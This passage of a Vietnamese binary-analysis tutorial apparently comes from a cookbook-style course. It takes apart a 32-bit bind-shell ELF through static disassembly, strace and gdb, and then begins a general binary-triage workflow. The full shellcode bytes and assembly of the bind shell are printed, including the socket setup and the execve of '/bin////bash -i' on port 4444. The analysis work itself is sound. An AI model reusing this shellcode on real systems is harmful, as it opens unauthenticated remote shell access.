  Start of program headers:          52 (bytes into file)
  Start of section headers:          660 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         1
  Size of section headers:           40 (bytes)
  Number of section headers:         5
  Section header string table index: 2

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .text             PROGBITS        08048060 000060 00009a 00  AX  0   0 16
  [ 2] .shstrtab         STRTAB          00000000 000270 000021 00      0   0  1
  [ 3] .symtab           SYMTAB          00000000 0000fc 0000f0 10      4  11  4
  [ 4] .strtab           STRTAB          00000000 0001ec 000084 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)

There are no section groups in this file.

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  LOAD           0x000000 0x08048000 0x08048000 0x000fa 0x000fa R E 0x1000

 Section to Segment mapping:
  Segment Sections...
   00     .text

There is no dynamic section in this file.

There are no relocations in this file.

The decoding of unwind sections for machine type Intel 80386 is not currently supported.

Symbol table '.symtab' contains 15 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 08048060     0 SECTION LOCAL  DEFAULT    1
     2: 00000000     0 FILE    LOCAL  DEFAULT  ABS ch06-bindshell32.nasm
     3: 08048076     0 NOTYPE  LOCAL  DEFAULT    1 jump_short
     4: 08048078     0 NOTYPE  LOCAL  DEFAULT    1 call_bind
     5: 08048099     0 NOTYPE  LOCAL  DEFAULT    1 listener
     6: 080480aa     0 NOTYPE  LOCAL  DEFAULT    1 accept_connect
     7: 080480b9     0 NOTYPE  LOCAL  DEFAULT    1 change_fd
     8: 080480cd     0 NOTYPE  LOCAL  DEFAULT    1 shell_exec
     9: 080480f3     0 NOTYPE  LOCAL  DEFAULT    1 portconfig
    10: 080480f8     0 NOTYPE  LOCAL  DEFAULT    1 portnum
    11: 08048060     0 NOTYPE  GLOBAL DEFAULT    1 _start
    12: 080490fa     0 NOTYPE  GLOBAL DEFAULT    1 __bss_start
    13: 080490fa     0 NOTYPE  GLOBAL DEFAULT    1 _edata
    14: 080490fc     0 NOTYPE  GLOBAL DEFAULT    1 _end

No version information found in this file.

Kết quả từ readelf cho thấy chương trình có rất ít thông tin, rất tối giản, không có nhiều Section. Đây là đặc điểm dễ nhận thấy của các chương trình viết bằng Assembly

Sử dụng objdump để trích xuất cấu trúc ELF:

$ objdump -x -s ch06-bindshell32

ch06-bindshell32:     file format elf32-i386
ch06-bindshell32
architecture: i386, flags 0x00000112:
EXEC_P, HAS_SYMS, D_PAGED
start address 0x08048060

Program Header:
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x000000fa memsz 0x000000fa flags r-x

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .text         0000009a  08048060  08048060  00000060  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
SYMBOL TABLE:
08048060 l    d  .text  00000000 .text
00000000 l    df *ABS*  00000000 ch06-bindshell32.nasm
08048076 l       .text  00000000 jump_short
08048078 l       .text  00000000 call_bind
08048099 l       .text  00000000 listener
080480aa l       .text  00000000 accept_connect
080480b9 l       .text  00000000 change_fd
080480cd l       .text  00000000 shell_exec
080480f3 l       .text  00000000 portconfig
080480f8 l       .text  00000000 portnum
08048060 g       .text  00000000 _start
080490fa g       .text  00000000 __bss_start
080490fa g       .text  00000000 _edata
080490fc g       .text  00000000 _end

Contents of section .text:
 8048060 31c031db 31c96a06 6a016a02 b066b301  1.1.1.j.j.j..f..
 8048070 89e1cd80 89c7eb7b 5e31c031 db31c931  .......{^1.1.1.1
 8048080 d25066ff 36b00266 5089e26a 10525731  .Pf.6..fP..j.RW1
 8048090 c0b066b3 0289e1cd 8031c031 db31c96a  ..f......1.1.1.j
 80480a0 0157b066 b30489e1 cd8031c0 31db5053  .W.f......1.1.PS
 80480b0 57b066b3 0589e1cd 8089c331 c931c0b0  W.f........1.1..
 80480c0 3fcd80b0 3f41cd80 b03f41cd 8031c050  ?...?A...?A..1.P
 80480d0 68626173 68682f2f 2f2f682f 62696e89  hbashh////h/bin.
 80480e0 e3506668 2d6989e6 50565389 e131d2b0  .Pfh-i..PVS..1..
 80480f0 0bcd80e8 80ffffff 115c               .........\

Sử dụng hexdump để view tệp dạng hex và các ký tự thấy được:

$ hexdump -C -v ch06-bindshell32
00000000  7f 45 4c 46 01 01 01 00  00 00 00 00 00 00 00 00  |.ELF............|
00000010  02 00 03 00 01 00 00 00  60 80 04 08 34 00 00 00  |........`...4...|
00000020  94 02 00 00 00 00 00 00  34 00 20 00 01 00 28 00  |........4. ...(.|
00000030  05 00 02 00 01 00 00 00  00 00 00 00 00 80 04 08  |................|
00000040  00 80 04 08 fa 00 00 00  fa 00 00 00 05 00 00 00  |................|
00000050  00 10 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000060  31 c0 31 db 31 c9 6a 06  6a 01 6a 02 b0 66 b3 01  |1.1.1.j.j.j..f..|
00000070  89 e1 cd 80 89 c7 eb 7b  5e 31 c0 31 db 31 c9 31  |.......{^1.1.1.1|
00000080  d2 50 66 ff 36 b0 02 66  50 89 e2 6a 10 52 57 31  |.Pf.6..fP..j.RW1|
00000090  c0 b0 66 b3 02 89 e1 cd  80 31 c0 31 db 31 c9 6a  |..f......1.1.1.j|
000000a0  01 57 b0 66 b3 04 89 e1  cd 80 31 c0 31 db 50 53  |.W.f......1.1.PS|
000000b0  57 b0 66 b3 05 89 e1 cd  80 89 c3 31 c9 31 c0 b0  |W.f........1.1..|
000000c0  3f cd 80 b0 3f 41 cd 80  b0 3f 41 cd 80 31 c0 50  |?...?A...?A..1.P|
000000d0  68 62 61 73 68 68 2f 2f  2f 2f 68 2f 62 69 6e 89  |hbashh////h/bin.|
000000e0  e3 50 66 68 2d 69 89 e6  50 56 53 89 e1 31 d2 b0  |.Pfh-i..PVS..1..|
000000f0  0b cd 80 e8 80 ff ff ff  11 5c 00 00 00 00 00 00  |.........\......|
00000100  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000110  60 80 04 08 00 00 00 00  03 00 01 00 01 00 00 00  |`...............|
00000120  00 00 00 00 00 00 00 00  04 00 f1 ff 17 00 00 00  |................|
00000130  76 80 04 08 00 00 00 00  00 00 01 00 22 00 00 00  |v..........."...|
00000140  78 80 04 08 00 00 00 00  00 00 01 00 2c 00 00 00  |x...........,...|
00000150  99 80 04 08 00 00 00 00  00 00 01 00 35 00 00 00  |............5...|
00000160  aa 80 04 08 00 00 00 00  00 00 01 00 44 00 00 00  |............D...|
00000170  b9 80 04 08 00 00 00 00  00 00 01 00 4e 00 00 00  |............N...|
00000180  cd 80 04 08 00 00 00 00  00 00 01 00 59 00 00 00  |............Y...|
00000190  f3 80 04 08 00 00 00 00  00 00 01 00 64 00 00 00  |............d...|
000001a0  f8 80 04 08 00 00 00 00  00 00 01 00 71 00 00 00  |............q...|
000001b0  60 80 04 08 00 00 00 00  10 00 01 00 6c 00 00 00  |`...........l...|
000001c0  fa 90 04 08 00 00 00 00  10 00 01 00 78 00 00 00  |............x...|
000001d0  fa 90 04 08 00 00 00 00  10 00 01 00 7f 00 00 00  |................|
000001e0  fc 90 04 08 00 00 00 00  10 00 01 00 00 63 68 30  |.............ch0|
000001f0  36 2d 62 69 6e 64 73 68  65 6c 6c 33 32 2e 6e 61  |6-bindshell32.na|
00000200  73 6d 00 6a 75 6d 70 5f  73 68 6f 72 74 00 63 61  |sm.jump_short.ca|
00000210  6c 6c 5f 62 69 6e 64 00  6c 69 73 74 65 6e 65 72  |ll_bind.listener|
00000220  00 61 63 63 65 70 74 5f  63 6f 6e 6e 65 63 74 00  |.accept_connect.|
00000230  63 68 61 6e 67 65 5f 66  64 00 73 68 65 6c 6c 5f  |change_fd.shell_|
00000240  65 78 65 63 00 70 6f 72  74 63 6f 6e 66 69 67 00  |exec.portconfig.|
00000250  70 6f 72 74 6e 75 6d 00  5f 5f 62 73 73 5f 73 74  |portnum.__bss_st|
00000260  61 72 74 00 5f 65 64 61  74 61 00 5f 65 6e 64 00  |art._edata._end.|
00000270  00 2e 73 79 6d 74 61 62  00 2e 73 74 72 74 61 62  |..symtab..strtab|
00000280  00 2e 73 68 73 74 72 74  61 62 00 2e 74 65 78 74  |..shstrtab..text|
00000290  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000002a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000002b0  00 00 00 00 00 00 00 00  00 00 00 00 1b 00 00 00  |................|
000002c0  01 00 00 00 06 00 00 00  60 80 04 08 60 00 00 00  |........`...`...|
000002d0  9a 00 00 00 00 00 00 00  00 00 00 00 10 00 00 00  |................|
000002e0  00 00 00 00 11 00 00 00  03 00 00 00 00 00 00 00  |................|
000002f0  00 00 00 00 70 02 00 00  21 00 00 00 00 00 00 00  |....p...!.......|
00000300  00 00 00 00 01 00 00 00  00 00 00 00 01 00 00 00  |................|
00000310  02 00 00 00 00 00 00 00  00 00 00 00 fc 00 00 00  |................|
00000320  f0 00 00 00 04 00 00 00  0b 00 00 00 04 00 00 00  |................|
00000330  10 00 00 00 09 00 00 00  03 00 00 00 00 00 00 00  |................|
00000340  00 00 00 00 ec 01 00 00  84 00 00 00 00 00 00 00  |................|
00000350  00 00 00 00 01 00 00 00  00 00 00 00              |............|

Đầu ra của Hexdump cũng cho thấy các Strings của chương trình

3. Phân tích tĩnh

Đây là bước quan trọng trong quá trình phân tích để hiểu được chương trình có những chức năng gì, hoạt động gì tác động lên hệ thống. Đây là phương pháp phân tích an toàn vì nó không đòi hỏi phải thực thi chương trình. Phần này sẽ áp dụng những kiến thức của trước: System call number, Ngắt và Man Page trong bài trước để tiến hành phân tích.

• Sử dụng objdump để disassembly BindShell theo cú pháp Intel:

  $ objdump -l -D -M intel ch06-bindshell32
  
  ch06-bindshell32:     file format elf32-i386
  
  Disassembly of section .text:
  
  08048060 <_start>:
  _start():
   8048060:       31 c0                   xor    eax,eax
   8048062:       31 db                   xor    ebx,ebx
   8048064:       31 c9                   xor    ecx,ecx
   8048066:       6a 06                   push   0x6
   8048068:       6a 01                   push   0x1
   804806a:       6a 02                   push   0x2
   804806c:       b0 66                   mov    al,0x66
   804806e:       b3 01                   mov    bl,0x1
   8048070:       89 e1                   mov    ecx,esp
   8048072:       cd 80                   int    0x80
   8048074:       89 c7                   mov    edi,eax
  
  08048076 <jump_short>:
  jump_short():
   8048076:       eb 7b                   jmp    80480f3 <portconfig>
  
  08048078 <call_bind>:
  call_bind():
   8048078:       5e                      pop    esi
   8048079:       31 c0                   xor    eax,eax
   804807b:       31 db                   xor    ebx,ebx
   804807d:       31 c9                   xor    ecx,ecx
   804807f:       31 d2                   xor    edx,edx
   8048081:       50                      push   eax
   8048082:       66 ff 36                push   WORD PTR [esi]
   8048085:       b0 02                   mov    al,0x2
   8048087:       66 50                   push   ax
   8048089:       89 e2                   mov    edx,esp
   804808b:       6a 10                   push   0x10
   804808d:       52                      push   edx
   804808e:       57                      push   edi
   804808f:       31 c0                   xor    eax,eax
   8048091:       b0 66                   mov    al,0x66
   8048093:       b3 02                   mov    bl,0x2
   8048095:       89 e1                   mov    ecx,esp
   8048097:       cd 80                   int    0x80
  
  08048099 <listener>:
  listener():
   8048099:       31 c0                   xor    eax,eax
   804809b:       31 db                   xor    ebx,ebx
   804809d:       31 c9                   xor    ecx,ecx
   804809f:       6a 01                   push   0x1
   80480a1:       57                      push   edi
   80480a2:       b0 66                   mov    al,0x66
   80480a4:       b3 04                   mov    bl,0x4
   80480a6:       89 e1                   mov    ecx,esp
   80480a8:       cd 80                   int    0x80
  
  080480aa <accept_connect>:
  accept_connect():
   80480aa:       31 c0                   xor    eax,eax
   80480ac:       31 db                   xor    ebx,ebx
   80480ae:       50                      push   eax
   80480af:       53                      push   ebx
   80480b0:       57                      push   edi
   80480b1:       b0 66                   mov    al,0x66
   80480b3:       b3 05                   mov    bl,0x5
   80480b5:       89 e1                   mov    ecx,esp
   80480b7:       cd 80                   int    0x80
  
  080480b9 <change_fd>:
  change_fd():
   80480b9:       89 c3                   mov    ebx,eax
   80480bb:       31 c9                   xor    ecx,ecx
   80480bd:       31 c0                   xor    eax,eax
   80480bf:       b0 3f                   mov    al,0x3f
   80480c1:       cd 80                   int    0x80
   80480c3:       b0 3f                   mov    al,0x3f
   80480c5:       41                      inc    ecx
   80480c6:       cd 80                   int    0x80
   80480c8:       b0 3f                   mov    al,0x3f
   80480ca:       41                      inc    ecx
   80480cb:       cd 80                   int    0x80
  
  080480cd <shell_exec>:
  shell_exec():
   80480cd:       31 c0                   xor    eax,eax
   80480cf:       50                      push   eax
   80480d0:       68 62 61 73 68          push   0x68736162
   80480d5:       68 2f 2f 2f 2f          push   0x2f2f2f2f
   80480da:       68 2f 62 69 6e          push   0x6e69622f
   80480df:       89 e3                   mov    ebx,esp
   80480e1:       50                      push   eax
   80480e2:       66 68 2d 69             pushw  0x692d
   80480e6:       89 e6                   mov    esi,esp
   80480e8:       50                      push   eax
   80480e9:       56                      push   esi
   80480ea:       53                      push   ebx
   80480eb:       89 e1                   mov    ecx,esp
   80480ed:       31 d2                   xor    edx,edx
   80480ef:       b0 0b                   mov    al,0xb
   80480f1:       cd 80                   int    0x80
  
  080480f3 <portconfig>:
  portconfig():
   80480f3:       e8 80 ff ff ff          call   8048078 <call_bind>
  
  080480f8 <portnum>:
  portnum():
   80480f8:       11                      .byte 0x11
   80480f9:       5c                      pop    esp
  

Giải thích:

• Khối: 08048060 <_start>

  • 3 lệnh đầu: Khởi tạo giá trị 0 cho các thanh ghi EAX, EBX, ECX

  • 3 lệnh tiếp sau: Lần lượt đẩy các giá trị 0x6, 0x1, 0x2 lên Stack. Trạng thái Stack lúc này sẽ lần lượt chứa các giá trị sau: 0x2, 0x1, 0x6 (Do cơ chế LIFO).

  • Tại 804806c: AL = 0x66 ⇒ System call number. Kiểm tra trong: "/usr/include/i386-linux-gnu/asm/unistd_32.h" ⇒ #define __NR_socketcall 102 ⇒ int socketcall(int call, unsigned long *args);

  • Tại 804806e: BL = 0x1 ⇒ Tham số thứ 1 truyền vào hàm socketcall ⇒ Kiểm tra trong: "/usr/include/linux/net.h" ⇒ #define SYS_SOCKET 1 /* sys_socket(2) */

  • Tại 8048070: ECX trỏ vào đỉnh Stack. Đây là 3 tham số sẽ được truyền vào hàm: int socket(int domain, int type, int protocol); Với: domain=2=PF_INET ⇒ Sử dụng socket với địa chỉ ip và port number để kết nối, type=SOCK_STREAM, protocol=IPPROTO_TCP ⇒ Sử dụng kiểu kết nối tin cậy - TCP (Kiểm tra trong: "/etc/protocols").

  • Tại 8048072: Gọi ngắt thực hiện System call

  • Tại 8048074: Lưu kết quả vào EDI.

  • Tóm lại khối này trông sẽ tương tự như sau: sockfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)

• Khối: 08048076 <jump_short>

  • Thực hiện nhảy không điều kiện đến khối: 80480f3 <portconfig>

• Khối: 08048078 <call_bind>

  • Tại 8048078: ESI = Port number = 4444

  • Tại 8048079 đến 804807f: Khởi tạo giá trị 0 cho các thanh ghi: EAX, EBX, ECX, EDX

  • Tại 8048081: Đưa 0 lên Stack

  • Tại 8048082: Đưa địa chỉ trỏ đến ESI/Port number lên Stack.

  • Tại 8048085: AL=0x2. Tại 8048087: Đưa 0x2 lên Stack

  • Tại 8048089: EDX trỏ vào đỉnh Stack, trạng thái Stack lúc này: 0x10, 0x02, 115C, 0x00

  • Từ 804808b đến 804808e: Lần lựa đẩy các giá trị 0x10, EDX, EDI lên Stack. Trạng thái Stack lúc này: [sock_fd](địa chỉ đỉnh stack trước khi push 0x10), 0x10, 0x02, 115c, 0x00

  • Tại 804808f: Reset EAX = 0. Tại 8048091: AL=0x66 ⇒ System call number ⇒ #define __NR_socketcall 102

  • Tại 8048093: BL=0x2 ⇒ Tham số thứ 1 của socketcall ⇒ Tra cứu trong: "/usr/include/linux/net.h" ⇒ #define SYS_BIND 2 /* sys_bind(2) */ ⇒ int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

  • Tại 8048095: ECX trỏ đến Stack ⇒ Tham số thứ 2 của socketcall

  • Tại 8048097: Gọi ngắt thực hiện System call

  • Một loạt các kỹ thuật phức tạp được thực hiện, mục đích cuối cùng là thiết lập các đối số trên ngăn xếp đúng cách cho hàm bind. Tóm lại khối này trông tương tự như sau: bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16). Hay ngắn gọn hơn thì là: bind(sockfd, AF_INET, 4444, 0.0.0.0.0);

• Khối: 08048099

  • Từ 8048099 đến 804809d: Khởi tạo giá trị 0 cho các thanh ghi: EAX, EBX, ECX

  • Tại 804809f và 80480a1: Sau khi thực hiện, trạng thái Stack là: sockfd, 0x1

  • Tại 80480a2: AL=0x66 ⇒ System call number ⇒ #define __NR_socketcall 102

  • Tại 80480a4: BL=0x4 ⇒ Tham số thứ 2 cho hàm socketcall ⇒ Tra cứu trong "/usr/include/linux/net.h" ⇒ ta được: #define SYS_LISTEN 4 /* sys_listen(2) */ ⇒ int listen(int sockfd, int backlog);

  • Tại 80480a6: ECX trỏ vào đỉnh Stack.

  • Tại 80480a8: Gọi ngắt thực hiện System call

  • Tóm lại khối này thực hiện lắng nghe các kết nối đến thông qua hàm listen(3, 1);

• Khối: 080480aa <accept_connect>

  • Tại 80480aa và 80480ac: EAX = EBX = 0

  • Tại 80480ae đến 80480b0: Trạng thái Stack: sockfd, 0x00, 0x00

  • Các bước sau đó thực hiện tương tự như cách trình đã trình bày bên trên. Khối code này thực hiện gọi hàm: int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen, int flags); với tham số thứ 2 và 3 bằng NULL. Viết ngắn gọn: accept(3, NULL, NULL)

• Khối: 080480b9 <change_fd>

  • Khối này liên tục thực hiện 3 ngắt tương đương 3 lần System call.

  • Các System call lần lượt được gọi là: dup2(4, 0), dup2(4, 1), dup2(4, 2)

  • Mục đích: Chuyển hướng các Accept File Descriptor về 3 dạng: STDIN, STDOUT, STDERR.

• Khối: 080480cd <shell_exec>

  • Tại 80480cd và 80480cf: Reset EAX và Push lên Stack

  • Tại 80480d0 đến 80480da: Push các hex data lên Stack. Tiến hành decode các data này như sau:

    $ python
    >>> a = '68736162'.decode('hex')
    >>> b = '2f2f2f2f'.decode('hex')
    >>> c = '6e69622f'.decode('hex')
    >>> final = a + b + c
    >>> final[::-1]
    '/bin////bash'
    

  • Tại 80480e2: decode tương tự:

    $ python
    >>> '692d'.decode('hex')[::-1]
    '-i'
    

  • Tại 80480df: EBX trỏ đến chuỗi: "/bin////bash -i".

  • Tại 80480ef: AL=0xb ⇒ System call number ⇒ #define __NR_execve 11 ⇒ int execve(const char *filename, char *const argv[], char *const envp[]);

  • Tóm lại khối này thực hiện hàm execve nhằm mục đích gọi bash shell hệ thống

• Khối: 080480f3

  • Gọi đến khối: 8048078 <call_bind>

  • Một điểm quan trọng cần lưu ý là khi thực hiện lệnh CALL thì địa chỉ của lệnh kế tiếp được đưa lên Stack. Trường hợp này lệnh kế tiếp có mã opcode là: 0x115c đã bị objdump hiểu nhầm là mã lệnh, thực ra nó là data ⇒ Đây là Port 4444. Vậy địa chỉ của Port được đưa lên Stack. Đây là một nhược điểm của công cụ objdump.

• Khối: 080480f8

  • Khối này thực chất không có mã lệnh nào cả, objdump đã nhận diện nhầm opcode 0x115c thành mã lệnh, chính xác nó là dữ liệu, port number 4444.

4. Phân tích động với Ltrace/Strace

Phân tích động đem lại nhiều lợi thế so với phân tích tĩnh như: nhanh chóng có kết quả, dễ dàng thực hiện,.. tuy nhiên cần có một môi trường phân tích lý tưởng. Do BindShell được viết bằng Assembly và thực hiện các System Call nên Ltrace sẽ không thể monitor được, chúng ta sẽ sử dụng Strace.

Do Strace monitor các API cấp thấp sẽ dẫn đến việc có rất nhiều các api được gọi chồng chéo nhau dẫn đến kết quả đầu ra rất khó đọc, tôi sẽ sử dụng tham số -e để lọc các api quan trọng:

$ strace -itx -e trace=process,network ./ch06-bindshell32
17:00:09 [b7fa5cf5] execve("./ch06-bindshell32", ["./ch06-bindshell32"], [/* 22 vars */]) = 0
17:00:09 [08048074] socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
17:00:09 [08048099] bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
17:00:09 [080480aa] listen(3, 1)        = 0
17:00:09 [080480b9] accept(3,

Lúc này BindShell đã chạy và đang lắng nghe kết nối trên Port 4444. Để kiểm tra:

$ sudo netstat -plant | grep -i '4444'
tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN      6397/ch06-bindshell

Trên một Terminal khác, sử dụng netcat để kiểm tra bằng cách kết nối đến như sau:

$ nc -nv 127.0.0.1 4444
Connection to 127.0.0.1 4444 port [tcp/*] succeeded!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

osboxes@bac32:/home/osboxes/bac/Binary-Analysis-Cookbook/Chapter-06/32bit$

Quan sát lại logs của Strace:

$ strace -itx -e trace=process,network ./ch06-bindshell32
17:00:09 [b7fa5cf5] execve("./ch06-bindshell32", ["./ch06-bindshell32"], [/* 22 vars */]) = 0
17:00:09 [08048074] socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
17:00:09 [08048099] bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
17:00:09 [080480aa] listen(3, 1)        = 0
17:00:09 [080480b9] accept(3, NULL, NULL) = 4
17:00:19 [080480f3] execve("/bin////bash", ["/bin////bash", "-i"], NULL) = 0
17:00:19 [b7f8ecf5] socket(PF_LOCAL, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 5
17:00:19 [b7f8ecf5] connect(5, {sa_family=AF_LOCAL, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
...
17:00:31 [b7f8ecf5] exit_group(0)       = ?
17:00:31 [????????] +++ exited with 0 +++

Trình netcat như một ứng dụng client kết nối đến Server, khi kết nối thành công, server gọi bash shell, client get được shell trên server.

5. Phân tích động với GDB/EDB

Sử dụng GDB với PEDA Plugin để phân tích trình BindShell. Thực hiện như sau:

$ gdb ch06-bindshell32
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ch06-bindshell32...(no debugging symbols found)...done.
gdb-peda$ start
...
gdb-peda$ next

Thực hiện next cho đến: 0x8048072 <_start+18>: int 0x80. Đây là điểm System Call đầu tiên được gọi. Kết quả ta được như sau:

Giải thích:

• Quan sát trạng thái Stack lúc này: 0x2, 0x1, 0x6

• Điều này tương đương với: socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)

Tiếp tục next cho đến: 0x80480f3 <portconfig>: call 0x8048078 <call_bind>. Thực hiên next thêm một lần, khi đó ta dừng tại: 0x8048078 <call_bind>: pop esi. Kiểm tra Stack, lúc này Port number đã được đẩy lên:

Giải thích:

• Sử dụng lệnh: x/wx $esp ta biết được đỉnh Stack lúc này đang lưu một địa chỉ: 0x080480f8

• Kiểm tra giá trị tại địa chỉ này, ta được: 0x00005c11

• Ta chuyển đổi giá trị này theo quy ước Little-Endian được giá trị Port: 4444

Tại: 0x8048097 <call_bind+31>: int 0x80. Gọi bind(sockfd, AF_INET, 4444, 0.0.0.0.0);

Tại: 0x80480a8 <listener+15>: int 0x80. Gọi listen(sockfd, backlog);

Tại: 0x80480b7 <accept_connect+13>: int 0x80. Gọi accept(sockfd, NULL, NULL)

Tiếp theo ta cần tập chung nhiều hơn vào khối shell_exec. Tiến hành disassembly khối này:

gdb-peda$ pdisass shell_exec
Dump of assembler code for function shell_exec:
   0x080480cd <+0>:     xor    eax,eax
   0x080480cf <+2>:     push   eax
   0x080480d0 <+3>:     push   0x68736162
   0x080480d5 <+8>:     push   0x2f2f2f2f
   0x080480da <+13>:    push   0x6e69622f
   0x080480df <+18>:    mov    ebx,esp
   0x080480e1 <+20>:    push   eax
   0x080480e2 <+21>:    pushw  0x692d
   0x080480e6 <+25>:    mov    esi,esp
   0x080480e8 <+27>:    push   eax
   0x080480e9 <+28>:    push   esi
   0x080480ea <+29>:    push   ebx
   0x080480eb <+30>:    mov    ecx,esp
   0x080480ed <+32>:    xor    edx,edx
   0x080480ef <+34>:    mov    al,0xb
   **0x080480f1 <+36>:    int    0x80**
End of assembler dump.

Đặt một Breakpoint tại shell_exec. Tại khối này sẽ diễn ra System Call, Sau đó nhập lệnh continue hoặc c:

gdb-peda$ br * shell_exec
Breakpoint 2 at 0x80480cd
gdb-peda$ info breakpoints
Num     Type           Disp Enb Address    What
2       breakpoint     keep y   0x080480cd <shell_exec>
gdb-peda$ c
Continuing.

Lúc này chương trình rơi vào trạng thái lắng nghe các kết nối.:

$ sudo netstat -plant | grep 4444
tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN      3775/ch06-bindshell

Tại một Terminal khác hay trên một máy từ xa, sử dụng nc như một trình client để kết nối đến BindShell:

$ nc -nv 192.168.128.8 4444
Connection to 192.168.128.8 4444 port [tcp/*] succeeded!

Trong GDB, chúng ta đã dừng lại được tại khối shell_exec:

Tiếp tục thực thi cho đến: 0x80480f1 <shell_exec+36>: int 0x80, quan sát trạng thái Stack trước khi thực hiện System Call: Chuỗi: "/bin////bash" và '-i' đã được đưa lên Stack, đồng thời các thanh ghi EBX và ECX đang trỏ đến các chuỗi này, đây là các tham số cho hàm execve.

Như vậy bài này đã đi phân tích một BindShell cơ bản bằng cả phương pháp phân tích động và phân tích tĩnh. Plugin PEDA trên GDB giúp chúng ta phân tích nhanh hơn, trực quan hơn rất nhiều so với việc sử dụng GDB ở TUI Mode.

Phần này đi xây dựng một phương pháp hay chính xác là một quy trình các bước cần thực hiện khi phân tích binary, với mỗi bước sẽ đi kèm các công cụ cần thiết. Phân tích một Binary có thể không tuân theo một quy trình nào cả, tuy nhiên việc làm đó có thể sẽ khiến ta bỏ lỡ một bước hay một thông tin nào đó quan trọng, thậm chí có thể xảy ra những sự cố không mong muốn. Dưới đây sẽ là quy trình chung khi phân tích một tệp Binary, không bắt buộc và áp dụng cho mọi trường hợp, nói chung phải: "tùy cơ ứng biến"

1.1. Tìm kiếm, xác định binary

Mục tiêu của bước này là đi xác định được những tệp được cho là nguy hiểm, nghi ngờ độc hại xuất hiện trên hệ thống: Tiến trình nghi ngờ, Binary mới xuất hiện gần đây, Binary đã có trước đó nhưng bị sửa đổi - ghi đè gần đây hay các Binary có tên giống hoặc trùng với các chương trình chuẩn,.v.v...

Một số công cụ hữu ích và ví dụ sử dụng:

• Lệnh find: Tìm kiếm các tệp thực thi trong một thư mục nào đó

  $ find /home/osboxes/ -executable -type f | head -10
  /home/osboxes/bac/xelfviewer_lin64_portable_0.02.tar.gz
  /home/osboxes/bac/Binary-Analysis-Cookbook/Chapter-06/32bit/ch06-bindshell32
  /home/osboxes/bac/Binary-Analysis-Cookbook/Chapter-04/32bit/ch04-example
  /home/osboxes/bac/Binary-Analysis-Cookbook/Chapter-04/32bit/libhider.so
  

• Lệnh file: Thông tin về một tệp

  $ file /bin/bash
  /bin/bash: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6f072e70e3e49380ff4d43cdde8178c24cf73daa, stripped
  

• Kết hợp các lệnh: find, file và một chút Bash Scripting ta được một lệnh bá đạo.

  \( for i in \)(find /home/osboxes/ -executable -type f);do file -i $i | grep -i 'x-executable; charset=binary';done
  /home/osboxes/bac/edb-debugger/build/edb: application/x-executable; charset=binary
  /home/osboxes/bac/edb-debugger/build/CMakeFiles/feature_tests.bin: application/x-executable; charset=binary
  /home/osboxes/bac/Binary-Analysis-Cookbook/Chapter-04/64bit/ch04-example: application/x-executable; charset=binary
  /home/osboxes/bac/Binary-Analysis-Cookbook/Chapter-03/64bit/ch03-helloworld64: application/x-executable; charset=binary
  /home/osboxes/bac/Binary-Analysis-Cookbook/Chapter-05/32bit/ch05-example-objcopy-stripped: application/x-executable; charset=binary
  ...
  

• Lệnh ls: Liệt kê chi tiết về thời gian, kích thước, phân quyền của các tệp trong một thư mục.

  $ ls -halt /usr/bin/ | tail -20
  -rwxr-xr-x  1 root root     9.5K Feb 12  2014 lzmainfo
  -rwxr-xr-x  1 root root      66K Feb 12  2014 xz
  -rwxr-xr-x  1 root root     5.4K Feb 12  2014 xzdiff
  -rwxr-xr-x  1 root root     5.3K Feb 12  2014 xzgrep
  -rwxr-xr-x  1 root root     1.8K Feb 12  2014 xzless
  -rwxr-xr-x  1 root root     2.2K Feb 12  2014 xzmore
  -rwxr-xr-x  1 root root      27K Jan 10  2014 apgbfm
